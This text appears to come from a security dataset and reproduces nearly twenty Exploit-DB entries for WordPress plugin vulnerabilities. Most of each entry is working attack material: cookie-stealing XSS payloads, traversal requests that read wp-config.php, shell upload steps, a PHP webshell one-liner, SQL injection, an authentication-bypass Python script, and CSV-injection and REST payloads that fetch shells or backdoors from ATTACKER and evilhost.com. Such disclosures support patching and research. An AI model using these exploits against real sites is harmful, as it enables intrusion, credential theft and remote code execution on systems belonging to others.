deardaniel/secdata-raw huggingface dataset:
Exploit-DB #47036
Description: WordPress Plugin iLive 1.0.4 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-06-25
Author: m0ze

Exploit:
# Exploit Title: iLive - Intelligent WordPress Live Chat Support
Plugin v1.0.4 Stored XSS Injection
# Google Dork: -
# Date: 2019/06/25
# Exploit Author: m0ze
# Vendor Homepage: http://www.ilive.wpapplab.com/
# Software Link:
https://codecanyon.net/item/ilive-wordpress-live-chat-support-plugin/20496563
http://www.ilive.wpapplab.com/
# Version: 1.0.4
# Tested on: Windows 10 / Parrot OS
# CVE : -

Info:

Weak security measures like bad textarea data filtering has been
discovered in the «iLive - Intelligent WordPress Live Chat Support
Plugin». Current version of this premium WordPress plugin is 1.0.4.



PoC:
Go to the demo website http://www.site.com/ and open chat window by clicking on «Chat» icon on the bottom right corner. 
Use your payload inside input field and press [Enter]. 
Provided exaple payloads working on the admin area, so it's possible to steal admin cookies or force a redirect to any other website.
To check your XSS Injections log in http://www.site.com/wp-admin/ and go to this page http://www.site.com/wp-admin/admin.php?page=ilive-chat-page then select your chat alias from the list. Keep in mind that there is 3 demo operators, so you must log in as operator assigned to your chat (operator number will be available after you send the first message in chat).

Example #1: <img src=https://i.imgur.com/zRm8R9z.gif onload=alert(`m0ze`);>
Example #2: <img src=https://i.imgur.com/zRm8R9z.gif
onload=alert(document.cookie);>
Example #3: <img src=x onerror=window.location.replace('https://m0ze.ru/');>
Example #4: <!--<img src="--><img src=x onerror=(alert)(`m0ze`)//">
Example #5: <!--<img src="--><img src=x onerror=(alert)(document.cookie)//">
Exploit-DB #39584
Description: WordPress Plugin Image Export 1.1.0 - Arbitrary File Disclosure
Type: webapps
Platform: php
Date: 2016-03-21
Author: AMAR^SHG

Exploit:
# Exploit Title: Wordpress image-export LFD
# Date: 03/21/2016
# Exploit Author: AMAR^SHG
# Vendor Homepage: http://www.1efthander.com
# Software Link:
http://www.1efthander.com/category/wordpress-plugins/image-export
# Version: Everything is affected including latest (1.1.0 )
# Tested on: Windows/Unix on localhost

download.php file code:

<?php
if ( isset( $_REQUEST['file'] ) && !empty( $_REQUEST['file'] ) ) {
	$file = $_GET['file'];

	header( 'Content-Type: application/zip' );
	header( 'Content-Disposition: attachment; filename="' . $file . '"' );
	readfile( $file );
	unlink( $file );
	
	exit;
}
?>

Proof of concept:

Note that because of the unlink, we potentially can destroy the wordpress core.

Simply add the get parameter file:

localhost/wp/wp-content/plugins/image-export/download.php?file=../../../wp-config.php

Found by AMAR^SHG (Shkupi Hackers Group)
Exploit-DB #17761
Description: WordPress Plugin image Gallery with Slideshow 1.5 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-08-31
Author: Hrvoje Spoljar

Exploit:
Title: Wordpress image-gallery-with-slideshow plugin <= 1.5 Arbitrary file
upload / SQL injection
Version:1.5
Date: 30-8-2011
Author: Hrvoje Spoljar [ hrvoje.spoljar(at)gmail.com ]
Software link:
http://wordpress.org/extend/plugins/image-gallery-with-slideshow/

PoC:
curl -F "uploadfile=@mycode.php"
http://domain.tld/wp-content/plugins/image-gallery-with-slideshow/upload-file.php

File(s):upload-file.php
Code:
$new_image =time()."_".$_FILES['uploadfile']['name'];
$original_image = $_FILES['uploadfile']['name'];
...
$value_org = move_uploaded_file($_FILES['uploadfile']['tmp_name'],
$file_original);
$insert_query = "INSERT INTO `".$table_prefix."combo_image`
VALUES('','0','".$new_image."','".$original_image."','','','',NOW())";
Exploit-DB #10325
Description: WordPress Plugin Image Manager - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-12-05
Author: DigitALL

Exploit:
# Exploit Title: Wordpress Image Manager Plugins Shell Upload Vulnerability

# Version: No Version All WordPress Systems

# Thanks ; Zombie KroNickq and All 1923Turk.biz Members
# Special Thanks ; Cyb3rking

Dork: inurl:"/plugins/ImageManager/manager.php"

/plugins/ImageManager/manager.php

Your Shell Top

GIF89a;
<?
-----
?>

And Upload Your Shell. Your Shell Go To /demo_images/
Exploit-DB #51025
Description: Wordpress Plugin ImageMagick-Engine 1.7.4 - Remote Code Execution (RCE) (Authenticated)
Type: webapps
Platform: php
Date: 2022-10-17
Author: ABDO10

Exploit:
# Exploit Title: Wordpress Plugin ImageMagick-Engine 1.7.4 - Remote Code Execution (RCE) (Authenticated)
# Google Dork: inurl:"/wp-content/plugins/imagemagick-engine/"
# Date: Thursday, September 1, 2022
# Exploit Author: ABDO10
# Vendor Homepage: https://wordpress.org/plugins/imagemagick-engine/
# Software Link: https://github.com/orangelabweb/imagemagick-engine/
# Version: <= 1.7.4
# Tested on: windows 10

-- vulnerable section
https://github.com/orangelabweb/imagemagick-engine/commit/73c1d837e0a23870e99d5d1470bd328f8b2cbcd4#diff-83bcdfbbb7b8eaad54df[PII_REDACTED]ad8ce7f692f189fdce2f86b2fe0bcc0a4dR529

-- payload on windows: d&calc.exe&anything
-- on unix : notify-send "done"
-- exploit :

GET /wp/wordpress/wp-admin/admin-ajax.php?action=ime_test_im_path&cli_path=[payload]
HTTP/1.1
Host: localhost
Cookie: wordpress_sec_xx=; wp-settings-time-1=;
wordpress_test_cookie=; wordpress_logged_in_xx=somestuff
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0)
Gecko/20100101 Firefox/104.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://localhost/wp/wordpress/wp-admin/options-general.php?page=imagemagick-engine
X-Requested-With: XMLHttpRequest
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Exploit-DB #39621
Description: WordPress Plugin IMDb Profile Widget 1.0.8 - Local File Inclusion
Type: webapps
Platform: php
Date: 2016-03-27
Author: CrashBandicot

Exploit:
# Exploit Title: Wordpress Plugin IMDb Profile Widget - Local File Inclusion
# Exploit Author: CrashBandicot @DosPerl
# Date: 2016-03-26
# Google Dork : inurl:/wp-content/plugins/imdb-widget
# Vendor Homepage: https://wordpress.org/plugins/imdb-widget/
# Tested on: MSWin32
# Version: 1.0.8

# Vuln file : pic.php

<?php

header( 'Content-Type: image/jpeg' );
readfile( $_GET["url"] );


# PoC : /wp-content/plugins/imdb-widget/pic.php?url=../../../wp-config.php
# Right click -> Save As -> rename pic.jpg in .txt and read file

# 26/03/2016 - Informed Vendor about Issue
# 27/03/2016 - Waiting Reply
Exploit-DB #39576
Description: WordPress Plugin Import CSV 1.0 - Directory Traversal
Type: webapps
Platform: php
Date: 2016-03-21
Author: Wadeek

Exploit:
# Exploit Title: Wordpress Import CSV | Directory Traversal
# Exploit Author: Wadeek
# Website Author: https://github.com/Wad-Deek
# Software Link: https://downloads.wordpress.org/plugin/xml-and-csv-import-in-article-content.zip
# Stable Tag: 1.1
# Tested on: Xampp on Windows7
 
[Version Disclosure]
======================================
/wp-content/plugins/xml-and-csv-import-in-article-content/readme.txt
======================================
 
[PoC]
======================================
Go to /wp-content/plugins/xml-and-csv-import-in-article-content/upload-process.php.
Click on the link "From an url".
In "URL" field to write "../../../wp-config.php".
Validate form and inspect the body.
======================================
Exploit-DB #47303
Description: WordPress Plugin Import Export WordPress Users 1.3.1 - CSV Injection
Type: webapps
Platform: php
Date: 2019-08-26
Author: Javier Olmedo

Exploit:
# Exploit Title: Wordpress Plugin Import Export WordPress Users <= 1.3.1 - CSV Injection
# Exploit Author: Javier Olmedo
# Contact: @jjavierolmedo
# Website: https://sidertia.com
# Date: 2018-08-22
# Google Dork: inurl:"/wp-content/plugins/users-customers-import-export-for-wp-woocommerce"
# Vendor: WebToffee
# Software Link: https://downloads.wordpress.org/plugin/users-customers-import-export-for-wp-woocommerce.1.3.1.zip
# Affected Version: 1.3.1 and before
# Active installations: +20,000
# Patched Version: update to 1.3.2 version
# Category: Web Application
# Platform: PHP
# Tested on: Win10x64
# CVE: 2019-15092
# References:
# https://hackpuntes.com/cve-2019-15092-wordpress-plugin-import-export-users-1-3-0-csv-injection/
# https://medium.com/bugbountywriteup/cve-2019-15092-wordpress-plugin-import-export-users-1-3-0-csv-injection-b5cc14535787
 
# 1. Technical Description
# Wordpress Plugin Import Export WordPress Users version 1.3.1. and before are affected by Remote Code
# Execution through the CSV injection vulnerability. This allows any application user to inject commands
# as part of the fields of his profile and these commands are executed when a user with greater privilege 
# exports the data in CSV and opens that file on his machine.

# 2. Vulnerable code
# The function do_export() from WF_CustomerImpExpCsv_Exporter class does not check if fields beggings
# with (=, +, -, @) characters so the fields name, surname, alias or display_name are vulnerable to CSV Injection.
 
# 3. Proof Of Concept (PoC)
# 3.1 Login with subscriber user and change the fields First name, Surname and Alias with payloads.
# 3.2 Login with a high privileges user and export all users to CSV.
# 3.3 When the user with high privileges logs in to the application, export data in CSV and opens the 
# generated file, the command is executed and the shell will run open on the machine.

# 4. Payloads
=cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0
+cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0
-cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0
@cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0

# 5. Timeline
# 15, august 2019 - [RESEARCHER] Discover
# 15, august 2019 - [RESEARCHER] Report to Webtoffee support
# 16, august 2019 - [DEVELOPER] More information request
# 16, august 2019 - [RESEARCHER] Detailed vulnerability report
# 19, august 2019 - [DEVELOPER] Unrecognized vulnerability
# 22, august 2019 - [RESEARCHER] Public disclosure
Exploit-DB #47939
Description: WordPress Plugin InfiniteWP Client 1.9.4.5 - Authentication Bypass
Type: webapps
Platform: php
Date: 2020-01-17
Author: Raphael Karger

Exploit:
# Exploit Title: Wordpress Plugin InfiniteWP Client 1.9.4.5 - Authentication Bypass
# Date: 2020-1-16
# Exploit Author: Raphael Karger
# Vendor Homepage: https://infinitewp.com/
# Version: InfiniteWP Client < 1.9.4.5

#!/usr/bin/python3

import requests
import json
import argparse
import base64
import json
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def exploit(site, username):
    json_info = {"iwp_action":"add_site","params":{"username": username}}
    try:
        return requests.post(site, timeout=5, verify=False,
            headers={"User-Agent" : "raphaelrocks"},
            data="_IWP_JSON_PREFIX_{}".format(base64.b64encode(json.dumps(json_info).encode("utf-8")).decode("utf-8"))
        )
    except Exception as e:
        print("[-] HTTP Exploit Error: {}".format(e))
    return False

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-n", "--username", dest="username", help="Username of admin, default is admin", default="admin")
    parser.add_argument("-u", "--url", dest="url", help="Root URL of Site")
    args = parser.parse_args()
    site_exploit = exploit(args.url, args.username)
    if site_exploit and site_exploit.status_code == requests.codes.ok:
        cookie_string = "; ".join([str(x)+"="+str(y) for x,y in site_exploit.cookies.items()])
        if cookie_string:
            print("[+] Use Cookies to Login: \n{}".format(cookie_string))
            exit(0)
    print("[-] Exploit Failed")
Exploit-DB #35418
Description: WordPress Plugin Inline Gallery 0.3.9 - 'do' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-03-08
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/46781/info

The Inline Gallery WordPress Plugin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Inline Gallery WordPress Plugin 0.3.9 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/inline-gallery/browser/browser.php?do=%3Cscript%3Ealert%28%22XSS%22%29;%3C/script%3E
Exploit-DB #46981
Description: WordPress Plugin Insert or Embed Articulate Content into WordPress - Remote Code Execution
Type: webapps
Platform: php
Date: 2019-06-11
Author: xulchibalraa

Exploit:
# Exploit Title: Authenticated code execution in `insert-or-embed-articulate-content-into-wordpress` Wordpress plugin
# Description: It is possible to upload and execute a PHP file using the plugin option to upload a zip archive 
# Date: june 2019
# Exploit Author: xulchibalraa
# Vendor Homepage: https://wordpress.org/plugins/insert-or-embed-articulate-content-into-wordpress/
# Software Link: https://downloads.wordpress.org/plugin/insert-or-embed-articulate-content-into-wordpress.4.2995.zip
# Version: 4.2995 <= 4.2997 
# Tested on: Wordpress 5.1.1, PHP 5.6 
# CVE : -


## 1. Create a .zip archive with 2 files: index.html, index.php

echo "<html>hello</html>" > index.html
echo "<?php echo system($_GET['cmd']); ?>" > index.php
zip poc.zip index.html index.php 

## 2. Log in to wp-admin with any user role that has access to the plugin functionality (by default even `Contributors` role have access to it)
## 3. Create a new Post -> Select `Add block` -> E-Learning -> Upload the poc.zip -> Insert as: Iframe -> Insert (just like in tutorial https://youtu.be/knst26fEGCw?t=44 ;)
## 4. Access the webshell from the URL displayed after upload similar to 

http://website.com/wp-admin/uploads/articulate_uploads/poc/index.php?cmd=whoami
Exploit-DB #41308
Description: WordPress Plugin Insert PHP 3.3.1 - PHP Code Injection
Type: webapps
Platform: php
Date: 2017-02-09
Author: CrashBandicot

Exploit:
# Exploit Title: WordPress 4.7.0/4.7.1 Plugin Insert PHP -  PHP Code Injection
# Exploit Author: sucuri.net @sucurisecurity
# Date: 2017-02-09
# Google Dork : inurl:/wp-content/plugins/insert-php/
# Vendor Homepage: https://fr.wordpress.org/plugins/insert-php/
# Tested on: MSWin32
# Version: <3.3.1

# Explanation : You Can Inject PHP Code INTO Pages via Wordpress REST API Vulnerability 

# PoC :
POST http://localhost.com/wp-json/wp/v2/posts/1234 HTTP/1.1
Host: localhost.com
User-Agent: Xploit
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Accept-Encoding: gzip,deflate,lzma,sdch
Connection: keep-alive
content-type: application/json

{  "id": "1234ffff", "title": "by Hacker", "content": "[insert_php] include('http[:]//evilhost.com/file/backdoor.php'); [/insert_php][php] include('http[:]//evilhost.com/file/backdoor.php'); [/php]" }


# Reference : https://blog.sucuri.net/2017/02/rce-attempts-against-the-latest-wordpress-rest-api-vulnerability.html
Exploit-DB #37016
Description: WordPress Plugin Integrator 1.32 - 'redirect_to' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-03-28
Author: Stefan Schurtz

Exploit:
source: https://www.securityfocus.com/bid/52739/info

WordPress Integrator is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

WordPress Integrator 1.32 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-login.php?redirect_to=http://%3F1<ScrIpT>alert(666)</ScrIpT>
Exploit-DB #50719
Description: WordPress Plugin International Sms For Contact Form 7 Integration V1.2 - Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2022-02-08
Author: Milad karimi

Exploit:
# Exploit Title: WordPress Plugin International Sms For Contact Form 7 Integration V1.2 - Cross Site Scripting (XSS)
# Date: 2022-02-04
# Author: Milad karimi
# Software Link: https://wordpress.org/plugins/cf7-international-sms-integration/
# Version: 1.2
# Tested on: Windows 11
# CVE: N/A

1. Description:
This plugin creates a cf7-international-sms-integration from any post types. The slider import search feature and tab parameter via plugin settings are vulnerable to reflected cross-site scripting.

2. Proof of Concept:
http://localhost/cf7-international-sms-integration/includes/admin/class-sms-log-display.php?page=<script>alert("test")</script>
Exploit-DB #37403
Description: WordPress Plugin Invit0r - 'ofc_upload_image.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-14
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/53995/info

Invit0r plugin for WordPress is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Invit0r 0.22 is vulnerable; other versions may also be affected. 

ders = array("Content-Type: application/octet-stream");

$uploadfile="<?php phpinfo(); ?>";
 
$ch = curl_init("http://www.example.com/wordpress/wp-content/plugins/invit0r/lib/php-ofc-library/ofc_upload_image.php?name=lo.php");
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS, @$uploadfile);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>
Exploit-DB #17673
Description: WordPress Plugin IP-Logger 3.0 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-16
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress IP-Logger plugin <= 3.0 SQL Injection Vulnerability
# Date: 2011-08-16
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/ip-logger.3.0.zip
# Version: 3.0 (tested)

---
PoC
---
http://www.site.com/wp-content/plugins/ip-logger/map-details.php?lat=-1 UNION ALL SELECT @@version,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20&lon=-1&blocked=-1

---------------
Vulnerable code
---------------
$sql = sprintf("select stamp,ip_v4,url,user_agent,Provider,Code3,Country,Blocked,Ignored from $table_name 
  where Latitude=%s and Longitude=%s and Blocked = '%s'
  order by stamp asc limit 50",
  $_REQUEST["lat"],
  $_REQUEST["lon"],
  $_REQUEST["blocked"]);

$res = mysql_query($sql);
Exploit-DB #50709
Description: WordPress Plugin IP2Location Country Blocker 2.26.7 - Stored Cross Site Scripting (XSS) (Authenticated)
Type: webapps
Platform: php
Date: 2022-02-04
Author: Ahmet Serkan Ari

Exploit:
# Exploit Title: WordPress Plugin IP2Location Country Blocker 2.26.7 - Stored Cross Site Scripting (XSS) (Authenticated)
# Date: 02-02-2022
# Exploit Author: Ahmet Serkan Ari
# Software Link: https://wordpress.org/plugins/ip2location-country-blocker/
# Version: 2.26.7
# Tested on: Linux
# CVE: N/A
# Thanks: Ceylan Bozogullarindan


# Description:
IP2Location Country Blocker is a plugin enables user to block unwanted traffic from accesing Wordpress frontend (blog pages) or backend (admin area) by countries or proxy servers. It helps to reduce spam and unwanted sign ups easily by preventing unwanted visitors from browsing a particular page or entire website.
An authenticated user is able to inject arbitrary Javascript or HTML code to the "Frontend Settings" interface available in settings page of the plugin (Country Blocker), due to incorrect sanitization of user-supplied data and achieve a Stored Cross-Site Scripting attack against the administrators or the other authenticated users. The plugin versions prior to 2.26.7 are affected by this vulnerability.


The details of the discovery are given below.

# Steps To Reproduce:
1. Install and activate the IP2Location Country Blocker plugin.
2. Visit the "Frontend Settings" interface available in settings page of the plugin that is named "Country Blocker".
3. Check the "Enable Frontend Blocking" option.
4. Choose the "URL" option for the "Display page when visitor is blocked" setting.
5. Type the payload given below to the "URL" input where is in the "Other Settings" area.

http://country-blocker-testing.com/test#"'><script>alert(document.domain)</script>

6. Click the "Save Changes" button.
7. The XSS will be triggered on the settings page when every visit of an authenticated user.
Exploit-DB #50830
Description: Wordpress Plugin iQ Block Country 1.2.13 - Arbitrary File Deletion via Zip Slip (Authenticated)
Type: webapps
Platform: php
Date: 2022-03-21
Author: Ceylan BOZOĞULLARINDAN

Exploit:
# Exploit Title: Wordpress Plugin iQ Block Country 1.2.13 - Arbitrary File Deletion via Zip Slip (Authenticated)
# Date: 02-17-2022
# Exploit Author: Ceylan Bozoğullarından
# Blog Post: https://bozogullarindan.com/en/2022/01/wordpress-iq-block-country-1.2.13-admin-arbitray-file-deletion-via-zip-slip/
# Software Link: https://en-gb.wordpress.org/plugins/iq-block-country/
# Version: 1.2.12
# Tested on: Linux
# CVE: CVE-2022-0246 (https://wpscan.com/vulnerability/892802b1-26e2-4ce1-be6f-71ce29687776)


# Description:

iQ Block Country is a Wordpress plugin that allows you to limit access to your website content. It can allow or disallow visitors from defined countries to (parts of) the content of the website.

The settings of the plugin can be exported or imported using its backup functionality. An authorized user can import preconfigured settings of the plugin by uploading a zip file. After the uploading process, files in the uploaded zip file are extracted one by one. During the extraction process, existence of a file is checked. If the file exists, it is deleted without any security control by only considering the name of the extracted file. This behavior leads to “Zip Slip” vulnerability.

Zip Slip can cause damage by overwriting configuration files or other sensitive resources. In this finding, An attacker can exploit this vulnerability and the behavior of the extraction process, to delete an arbitrary file in the server. For doing this, it is enough to upload a zip file containing a file that is named as the path of a file which is desired to be deleted.

The details of the discovery are given below.

# Steps To Reproduce:

1. Install and activate the iQ Block Country plugin.
2. Create a test file in the vulnerable system: (e.g. /var/www/html/test.txt)
3. Create a zip file containing a file named as ../../../../test.txt. Absolute path at the end of this process will be: /var/www/html/wp-content/uploads/2022/01/../../../../test.txt
4. Go back to the Wordpress, visit Settings > iQ Block Country > Import/Export tab.
5. Click the “Browse” button and choose the zip file which is created in the Step 3.
6. Click the “Restore settings” button.
7. “Invalid file” message will be appeared but nevermind the message. Check whether the test.txt file is deleted or not.